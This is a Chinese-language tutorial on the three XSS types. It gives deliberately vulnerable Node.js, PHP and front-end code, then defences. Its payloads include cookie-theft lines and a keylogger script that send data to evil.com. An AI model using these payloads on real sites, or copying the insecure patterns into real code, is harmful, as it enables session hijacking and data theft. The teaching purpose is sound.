XSS三种类型详解:反射型、存储型、DOM型原理与代码解剖
一、XSS 概述
跨站脚本攻击(Cross-Site Scripting, XSS)是 OWASP Top 10 中最古老也是最常见的 Web 安全漏洞之一。攻击者通过在页面中注入恶意脚本,使得脚本在受害者浏览器中执行,从而窃取数据、劫持会话或发起进一步攻击。
XSS 的核心分类依据是恶意脚本的注入位置和执行路径,三大主流类型为:
| 类型 | 英文 | 恶意脚本来源 | 是否经过服务器 | 存储位置 |
|---|---|---|---|---|
| 反射型 XSS | Reflected XSS | URL 参数等即时输入 | 经过(服务器回显) | 不持久 |
| 存储型 XSS | Stored XSS | 用户提交的数据持久化后读取 | 经过(存数据库再读) | 持久存储 |
| DOM 型 XSS | DOM-based XSS | DOM 节点的客户端脚本处理 | 不经过服务器 | DOM 树 |
二、反射型 XSS(Reflected XSS)
2.1 原理
反射型 XSS 是最简单的 XSS 形式。攻击者将恶意代码放入 URL 参数中,服务器不做任何过滤或编码地将该参数直接回显到响应页面中,浏览器把它当作 HTML/JS 执行。
攻击流程:
攻击者构造恶意 URL
↓
受害者点击链接 / 访问该 URL
↓
服务器接收参数,原样嵌入响应
↓
浏览器渲染时执行恶意脚本
2.2 真实代码示例(Node.js + Express)
漏洞代码
// server.js
const express = require('express');
const app = express();
app.get('/search', (req, res) => {
const keyword = req.query.q;
// 直接拼接 HTML,没有任何转义!
const html = `
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>搜索结果</title></head>
<body>
<h1>搜索结果</h1>
<p>您搜索的关键词是:${keyword}</p>
<div id="results">暂无结果</div>
</body>
</html>
`;
res.send(html);
});
app.listen(3000, () => console.log('Server running on http://localhost:3000'));
攻击 Payload
http://localhost:3000/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
由于 keyword 未经转义就被嵌入 <p> 标签内部,<script> 标签会被浏览器解析执行。
变种:属性内注入
如果代码把参数放进了 HTML 属性值里:
<input type="text" value="<%= request.getParameter('q') %>">
Payload 可以是:
" autofocus onfocus="alert(1)
闭合属性,注入事件处理器。
2.3 反射型 XSS 的特点
- ✅ 非持久化:只对当前请求生效
- ✅ 需要诱导受害者点击恶意链接
- ✅ 触发门槛低,最容易被自动化扫描器发现
- ⚠️ 危害相对存储型小,但依然可以窃取当前会话 Cookie
三、存储型 XSS(Stored XSS)
3.1 原理
存储型 XSS 是危害最大的 XSS 类型,也是 OWASP Top 10 中影响力最高的类别之一。
攻击流程:
攻击者在某个输入框提交恶意脚本
↓
服务器将恶意脚本原样存入数据库
↓
其他用户访问页面时,服务器从数据库读出该内容
↓
脚本被嵌入页面,在所有访问者浏览器中执行
↓
受害者范围 = 所有浏览该内容的用户
3.2 真实代码示例(PHP + MySQL)
漏洞代码:留言板
<?php
// submit.php —— 提交留言
$conn = new mysqli('localhost', 'root', 'password', 'guestbook');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$name = $_POST['name'];
$message = $_POST['message'];
// 没有任何转义或过滤!
$stmt = $conn->prepare("INSERT INTO messages (name, message) VALUES (?, ?)");
$stmt->bind_param("ss", $name, $message);
$stmt->execute();
header('Location: index.php');
}
?>
<?php
// index.php —— 显示留言
$conn = new mysqli('localhost', 'root', 'password', 'guestbook');
$result = $conn->query("SELECT name, message, created_at FROM messages ORDER BY id DESC");
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>留言板</title></head>
<body>
<h1>访客留言</h1>
<form method="POST" action="submit.php">
<input name="name" placeholder="昵称" required><br>
<textarea name="message" rows="5" placeholder="留言内容"></textarea><br>
<button type="submit">提交</button>
</form>
<hr>
<?php while ($row = $result->fetch_assoc()): ?>
<div class="comment">
<strong><?= $row['name'] ?></strong>
<span class="time"><?= $row['created_at'] ?></span>
<p><?= $row['message'] ?></p> <!-- 直接输出!没有 htmlspecialchars -->
</div>
<?php endwhile; ?>
</body>
</html>
攻击 Payload
攻击者在留言中提交:
<img src=x onerror="new Image().src='http://evil.com/steal?c='+document.cookie">
或者更完整的键盘记录器:
<script>
var log = '';
document.onkeypress = function(e) {
log += e.key;
new Image().src = 'http://evil.com/kb?data=' + encodeURIComponent(log);
};
</script>
3.3 存储型 XSS 的特点
- ✅ 持久化:写入数据库/文件,长期存在
- ✅ 被动触发:不需要诱导,只要访问就中招
- ✅ 感染范围广:所有浏览该页面的用户都可能受害
- ⚠️ 如果是管理员面板里的存储型 XSS,直接拿管理员会话 = 拿下全站
四、DOM 型 XSS(DOM-based XSS)
4.1 原理
DOM 型 XSS 与前两类本质区别在于:恶意脚本完全不经过服务器,它纯粹是前端 JavaScript 在处理 DOM 节点时引入的。
攻击流程:
攻击者构造恶意 URL(hash 片段或 query)
↓
受害者访问该 URL
↓
页面正常加载(服务器返回的是干净的 HTML)
↓
前端 JS 读取 URL/表单/存储中的数据
↓
调用危险方法(innerHTML / document.write / eval 等)写入 DOM
↓
浏览器执行恶意脚本
4.2 真实代码示例
漏洞代码(纯前端,无需后端)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>个人主页</title>
<script>
window.onload = function() {
// 从 URL hash 读取 name 参数
var hash = location.hash.substring(1);
var params = new URLSearchParams(hash);
var name = params.get('name') || '访客';
// 危险:直接用 innerHTML 写入
document.getElementById('greeting').innerHTML =
'<h2>欢迎你, ' + name + '!</h2>';
// 另一个危险 sink:document.write
// document.write('<h2>欢迎你, ' + name + '!</h2>');
// 还有危险:eval / setTimeout / setInterval 字符串参数
// eval("var user = '" + name + "';");
};
</script>
</head>
<body>
<div id="greeting"></div>
</body>
</html>
攻击 Payload
http://localhost:3000/page.html#name=<img src=x onerror="alert(document.cookie)">
关键点:服务器完全看不到 hash 部分,这也是 DOM XSS 绕过服务端过滤的原因。
4.3 DOM XSS 的 Source 与 Sink
常见 Source(脏数据来源):
document.URL/document.location/location.hash/location.searchdocument.referrerdocument.cookie(注意:如果是攻击者能写入的话)localStorage/sessionStorageURLSearchParams
常见 Sink(危险写入点):
innerHTML/outerHTML/insertAdjacentHTMLdocument.write()/document.writeln()eval()/new Function()setTimeout(string)/setInterval(string)jQuery.append()/jQuery.html()/jQuery.after()srcdoc/<iframe srcdoc=...>${}模板字符串中嵌入未处理用户输入再渲染
4.4 混合型(DOM 型也可能涉及服务端)
某些场景下攻击链同时包含服务端和客户端,称为二阶 DOM XSS:
服务端把数据安全地放在某处(比如 data 属性),但前端 JS 后续把它拼进了危险 sink。
五、三类 XSS 的对比总结
| 维度 | 反射型 | 存储型 | DOM 型 |
|---|---|---|---|
| 持久化 | ❌ | ✅ | ❌(除非用户自己保存) |
| 需后端 | ✅ | ✅ | ❌ 纯前端也可 |
| 绕过服务端过滤 | ❌ | ❌ | ✅ hash 不走服务器 |
| 危害等级 | ⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ |
| 防御要点 | 输出转义 + WAF | 输入过滤 + 输出转义 | 避免危险 Sink + DOMPurify |
| 扫描难度 | 容易 | 中等 | 较难(动态执行) |
六、防御总览(后续文章深入展开)
- 输入过滤:白名单比黑名单可靠
- 输出编码:根据上下文选对编码方式(HTML 实体 / URL 编码 / JavaScript 转义)
- CSP:内容安全策略,浏览器层面拦截内联脚本
- HttpOnly + SameSite Cookie:即便脚本执行,Cookie 也读不到/发不出去
- 安全开发规范:禁止 innerHTML / eval,用 textContent / textContent 替代 innerHTML
记住:永远不要信任用户的任何输入——这是 Web 安全的基石。